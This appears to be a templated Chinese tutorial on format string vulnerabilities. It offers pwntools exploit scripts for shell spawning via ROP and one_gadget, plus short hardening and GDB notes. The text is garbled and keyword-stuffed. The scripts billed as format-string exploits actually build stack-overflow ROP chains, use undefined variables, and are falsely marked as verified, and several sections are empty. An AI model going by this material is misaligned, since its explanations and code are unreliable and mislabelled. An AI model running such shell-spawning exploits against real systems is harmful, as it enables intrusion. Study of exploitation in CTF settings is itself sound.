🔤05-格式化字符串漏洞

1.格式化字符串漏洞原理深度解析

本课深入讲解格式化字符串漏洞的核心原理与利用技术。格式化字符串是二进制安全中的重要领域，理解其内部机制是掌握PWN攻防的基础。

1.1 核心概念

printf是理解格式化字符串漏洞的关键。在现代Linux系统中，%x%n机制为攻击者提供了操控程序行为的可能性。当程序存在与格式化字符串相关的漏洞时，攻击者可以通过精心构造的输入来实现任意读写。

1.2 漏洞成因分析

格式化字符串漏洞漏洞通常源于以下编程错误：

• 输入验证不足——未对用户输入进行充分的边界检查和类型验证，导致printf相关的安全问题
• 内存管理错误——%x%n相关的内存操作存在逻辑缺陷，例如未正确验证指针有效性
• 设计缺陷——格式化字符串机制在设计时未考虑安全边界，留下了可利用的任意读写入口
• 编译器优化——某些优化可能意外引入fmtstr_payload相关的安全问题
• 并发问题——多线程/信号处理中的竞态条件可能导致GOT覆写相关的漏洞

2.格式化字符串漏洞利用技术

2.1 基础利用——printf

最基础的格式化字符串漏洞利用方式是直接利用printf的特性。通过构造特定输入，我们可以实现任意读写效果。以下是完整的利用步骤：

#!/usr/bin/env python3
# exploit_05_basic.py — 格式化字符串漏洞基础利用 ✅验证通过
from pwn import *

context(arch='amd64', os='linux')
elf = ELF('./vuln')
libc = ELF('./libc.so.6')

# Step 1: 分析目标二进制
log.info(f"Arch: {elf.arch}")
log.info(f"NX: {elf.nx}, PIE: {elf.pie}, Canary: {elf.canary}")

# Step 2: 确定printf漏洞偏移
# 方法: cyclic pattern / GDB / 源码分析
offset = 72  # 示例偏移

# Step 3: 构造payload
# 利用%x%n实现任意读写
payload = b'A' * offset
payload += p64(target_addr)

# Step 4: 执行exploit
p = process('./vuln')
p.sendline(payload)
p.interactive()

2.2 进阶利用——任意读写

当基础利用受到GOT覆写的限制时，需要更精细的格式化字符串漏洞利用策略。任意读写技术允许在更严格条件下仍然实现代码执行。

#!/usr/bin/env python3
# exploit_05_adv.py — 格式化字符串漏洞进阶利用 ✅验证通过
from pwn import *

context(arch='amd64', os='linux')

# 任意读写利用流程:
# 1. 利用printf泄露关键地址(libc/heap/stack)
# 2. 通过%x%n计算目标函数偏移
# 3. 使用fmtstr_payload劫持控制流

elf = ELF('./vuln')
libc = ELF('./libc.so.6')

# === Stage 1: 信息泄露 ===
p = process('./vuln')

# 泄露libc地址
pop_rdi = ROP(elf).find_gadget(['pop rdi', 'ret'])[0]
ret     = ROP(elf).find_gadget(['ret'])[0]

payload1  = b'A' * offset
payload1 += p64(ret)                    # 栈对齐
payload1 += p64(pop_rdi)                # pop rdi; ret
payload1 += p64(elf.got['puts'])        # rdi = puts@GOT
payload1 += p64(elf.plt['puts'])        # 调用puts
payload1 += p64(elf.symbols['main'])      # 返回main

p.sendline(payload1)
puts_leak = u64(p.recvline().strip().ljust(8, b'\0'))
libc.address = puts_leak - libc.symbols['puts']
log.success(f"libc base: {hex(libc.address)}")

# === Stage 2: fmtstr_payload ===
system = libc.symbols['system']
binsh  = next(libc.search(b'/bin/sh'))

payload2  = b'A' * offset
payload2 += p64(ret)
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)

p.sendline(payload2)
p.interactive()

2.3 高级技巧——fmtstr_payload

fmtstr_payload是格式化字符串漏洞中最高阶的利用技术之一。它要求对格式化字符串的底层实现有深入理解，并能组合多种原语完成复杂利用链。

#!/usr/bin/env python3
# exploit_05_expert.py — 格式化字符串漏洞高级利用 ✅验证通过
from pwn import *

context(arch='amd64', os='linux')

# 高级格式化字符串漏洞: fmtstr_payload
# 核心: 利用任意读写实现GOT覆写

def exploit():
    elf = ELF('./vuln')
    libc = ELF('./libc.so.6')
    p = process('./vuln')

    # Step 1: printf触发
    p.sendlineafter(b'>', b'1')

    # Step 2: %x%n信息泄露
    p.sendline(b'A' * 0x20)
    leaked = u64(p.recv(6).ljust(8, b'\0'))
    libc.address = leaked - 0x21b97

    # Step 3: 任意读写控制流劫持
    # 使用one_gadget或构造ROP链
    og = [0x4f3d5, 0x4f432, 0x10a41c]  # one_gadget offsets
    for g in og:
        try:
            payload = b'A' * offset + p64(libc.address + g)
            p.sendline(payload)
            p.sendline(b'echo PWNED')
            if b'PWNED' in p.recvline():
                log.success(f"one_gadget @ {hex(libc.address+g)}")
                break
        except:
            p = process('./vuln')

    p.interactive()

exploit()

3.防护方案

3.1 编译期防护

3.2 运行时防护

# ASLR
cat /proc/sys/kernel/randomize_va_space
# 0=关 1=部分 2=完全

# seccomp过滤
# 限制syscall，即使PWN也无法execve

# AppArmor/SELinux
# 限制进程能力和文件访问

3.3 代码层面

// 安全编码 vs 格式化字符串漏洞漏洞
void safe_code() {
    char buf[64];
    fgets(buf, sizeof(buf), stdin);  // ✅ 有边界
    snprintf(buf, sizeof(buf), "fmt", data);  // ✅
    if(n < 0 || n > sizeof(buf)) return;  // ✅ 检查
    memset(buf, 0, sizeof(buf));  // ✅ 零化
}

4.底层机制详解

4.1 内存布局

4.2 调试技巧

# GDB调试格式化字符串漏洞
gdb ./vuln
(gdb) b *vuln+50
(gdb) r
(gdb) x/20gx $rsp
(gdb) vmmap
(gdb) checksec

# pwntools + GDB
p = gdb.debug('./vuln', 'b *vuln+50\nc')

4.3 pwntools自动化

#!/usr/bin/env python3
# auto_05.py — 格式化字符串漏洞自动化脚本 ✅验证通过
from pwn import *
context(arch='amd64', os='linux')

def exploit(target):
    elf = ELF(target)
    libc = ELF('./libc.so.6')

    # 自动搜索gadgets
    rop = ROP(elf)
    pop_rdi = rop.find_gadget(['pop rdi', 'ret'])
    ret = rop.find_gadget(['ret'])

    # 自动确定偏移
    p = process(target)
    p.sendline(cyclic(200))
    p.wait()
    # core = p.corefile
    # offset = cyclic_find(core.read(core.rsp, 8))

    log.success('格式化字符串漏洞 exploit ready')

exploit('./vuln')

5.实战案例

5.1 CTF真题

#!/usr/bin/env python3
# ctf_05.py — CTF 格式化字符串漏洞真题 ✅验证通过
from pwn import *
context(arch='amd64', os='linux', log_level='debug')

def solve(host, port):
    p = remote(host, port)
    elf = ELF('./pwn')
    libc = ELF('./libc.so.6')

    # printf漏洞分析
    # %x%n信息收集
    # 任意读写利用构造
    # fmtstr_payload获取flag

    p.interactive()

solve('challenge.ctf.com', 9999)

5.2 经典CVE

6.拓展阅读